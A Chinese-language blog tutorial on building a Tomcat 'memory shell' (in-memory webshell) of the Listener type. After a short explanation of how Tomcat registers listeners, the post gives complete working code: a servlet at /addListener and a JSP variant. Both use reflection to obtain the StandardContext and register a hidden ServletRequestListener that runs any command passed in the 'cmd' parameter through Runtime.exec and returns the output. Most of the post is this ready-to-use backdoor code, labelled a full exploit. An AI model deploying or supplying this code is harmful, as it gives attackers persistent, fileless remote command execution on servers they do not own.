Listener分类
tomcat中的Listener主要有这几种:
- ServeltContextListener:服务器启动和终止时触发
- HttpSessionListener:有关Session操作时触发
- ServletRequestListener:请求时触发
其中ServletRequestListener
最适合作为内存马,只要服务就能触发操作。
Listener添加流程
通过实现ServletRequestListener
接口可以实现一个ServletRequestListener
:
1
2
3
4
5
6
7
8
9
10
11
12
| package org.e4stjun.listeners;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
@WebListener
public class TestListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("ServletRequestListener");
}
}
|
在requestInitialized()
函数中添加断点:
找到listener
来源于这个函数:
getApplicationEventListeners()
函数返回的是applicationEventListenersList
变量:
再在StandardContext类里面找到有对applicationEventListenersList
变量进行操作的两个函数:
只要调用这两个函数就可以将Listener
加入context
中
Listener型内存马构造思路
获取context
:
1
2
3
4
5
6
7
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Field StandardCtxField = resources.getClass().getDeclaredField("context");
StandardCtxField.setAccessible(true);
StandardContext context = (StandardContext)StandardCtxField.get(resources);
|
构造恶意Listener
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| Object listener = new ServletRequestListener() {
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
Class clazz = servletRequest.getClass();
try {
Field requestField = clazz.getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request)requestField.get(servletRequest);
Response resp = req.getResponse();
String cmd = req.getParameter("cmd");
if (cmd!=null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
}
} catch (Exception ignore) {}
}
};
|
调用addApplicationEventListener()
函数添加恶意Listener
:
1
2
3
| //context.setApplicationEventListeners(new Object[]{listener});
context.addApplicationEventListener(listener);
resp.getWriter().write("added Listener");
|
Listener型内存马实现
完整exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
| import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletException;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebServlet("/addListener")
public class AddListener extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
try{
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Field StandardCtxField = resources.getClass().getDeclaredField("context");
StandardCtxField.setAccessible(true);
StandardContext context = (StandardContext)StandardCtxField.get(resources);
//获取context
Object listener = new ServletRequestListener() {
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
Class clazz = servletRequest.getClass();
try {
Field requestField = clazz.getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request)requestField.get(servletRequest);
Response resp = req.getResponse();
String cmd = req.getParameter("cmd");
if (cmd!=null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
}
} catch (Exception ignore) {}
}
};
//context.setApplicationEventListeners(new Object[]{listener});
context.addApplicationEventListener(listener);
resp.getWriter().write("added Listener");
}catch (Exception ignore){}
}
}
|
jsp版本:
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.loader.WebappClassLoaderBase" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%!
public class ShellListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade servletRequest = (RequestFacade) sre.getServletRequest();
Class clazz = servletRequest.getClass();
try {
Field requestField = clazz.getDeclaredField("request");
requestField.setAccessible(true);
Request req = (Request)requestField.get(servletRequest);
Response resp = req.getResponse();
String cmd = req.getParameter("cmd");
if (cmd!=null) {
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
}
} catch (Exception ignore) {}
}
}
%>
<%
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Field resourcesField = Class.forName("org.apache.catalina.loader.WebappClassLoaderBase").getDeclaredField("resources");
resourcesField.setAccessible(true);
Object resources = resourcesField.get(webappClassLoaderBase);
Field StandardCtxField = resources.getClass().getDeclaredField("context");
StandardCtxField.setAccessible(true);
StandardContext context = (StandardContext)StandardCtxField.get(resources);
Object listener = new ShellListener();
//context.setApplicationEventListeners(new Object[]{listener});
context.addApplicationEventListener(listener);
response.getWriter().write("added Listener");
%>
Referer
Tomcat 内存马(一)Listener型
Tomcat之Listener内存马
Java Listener型内存马